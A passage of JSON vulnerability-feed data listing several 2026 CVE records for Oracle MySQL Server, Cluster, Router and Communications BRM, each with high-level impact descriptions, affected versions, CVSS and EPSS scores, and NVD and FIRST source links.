score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101797&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101797, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101796","cveId":"CVE-2026-101796","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:35.390Z","updatedAt":"2026-10-22T16:17:17.863Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101796","asOf":"2026-10-22T16:17:17.863Z"},"epss":{"probability":0.00286,"percentile":0.20968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101796","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101796","type":"primary","publishedAt":"2026-10-20T22:18:35.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101791","cveId":"CVE-2026-101791","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security).","summary":"Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security).   The supported version that is affected is 15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via TLS to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications BRM - Elastic Charging Engine accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications BRM - Elastic Charging Engine accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security).   The supported version that is affected is 15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via TLS to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications BRM - Elastic Charging Engine accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications BRM - Elastic Charging Engine accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:34.843Z","updatedAt":"2026-10-22T16:17:17.043Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101791","asOf":"2026-10-22T16:17:17.043Z"},"epss":{"probability":0.00326,"percentile":0.25452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101791&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101791","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101791","type":"primary","publishedAt":"2026-10-20T22:18:34.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101791&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101791, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101786","cveId":"CVE-2026-101786","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are MySQL Server: 26.7.0-26.7.1; MySQL Cluster: 26.7.0-26.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are MySQL Server: 26.7.0-26.7.1; MySQL Cluster: 26.7.0-26.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:34.290Z","updatedAt":"2026-10-22T16:17:16.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101786","asOf":"2026-10-22T16:17:16.893Z"},"epss":{"probability":0.0043,"percentile":0.37003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101786&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101786","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101786","type":"primary","publishedAt":"2026-10-20T22:18:34.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101786&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101786, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101785","cveId":"CVE-2026-101785","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data as well as  unauthorized read access to a subset of MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: JSON).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data as well as  unauthorized read access to a subset of MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:34.160Z","updatedAt":"2026-10-22T18:17:23.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101785","asOf":"2026-10-22T18:17:23.177Z"},"epss":{"probability":0.00336,"percentile":0.2673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101785&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101785","type":"primary","publishedAt":"2026-10-20T22:18:34.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101785&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101785, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101783","cveId":"CVE-2026-101783","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).","summary":"Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise MySQL Router.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Router accessible data as well as  unauthorized access to critical data or complete access to all MySQL Router accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise MySQL Router.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Router accessible data as well as  unauthorized access to critical data or complete access to all MySQL Router accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:33.937Z","updatedAt":"2026-10-22T16:17:16.757Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101783","asOf":"2026-10-22T16:17:16.757Z"},"epss":{"probability":0.00301,"percentile":0.22641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101783&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101783","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101783","type":"primary","publishedAt":"2026-10-20T22:18:33.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101783&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101783, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101781","cveId":"CVE-2026-101781","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:33.710Z","updatedAt":"2026-10-22T16:17:16.590Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101781","asOf":"2026-10-22T16:17:16.590Z"},"epss":{"probability":0.00279,"percentile":0.20124,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101781&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101781","type":"primary","publishedAt":"2026-10-20T22:18:33.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101781&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101781, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101775","cveId":"CVE-2026-101775","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.4 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Server, MySQL Cluster accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.4 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:33.007Z","updatedAt":"2026-10-22T18:17:21.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101775","asOf":"2026-10-22T18:17:21.790Z"},"epss":{"probability":0.00325,"percentile":0.25325,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101775","type":"primary","publishedAt":"2026-10-20T22:18:33.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101773","cveId":"CVE-2026-101773","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Server, MySQL Cluster accessible data. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Server, MySQL Cluster accessible data. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.760Z","updatedAt":"2026-10-22T18:17:21.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101773","asOf":"2026-10-22T18:17:21.430Z"},"epss":{"probability":0.00217,"percentile":0.12086,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101773","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101773","type":"primary","publishedAt":"2026-10-20T22:18:32.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101772","cveId":"CVE-2026-101772","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult 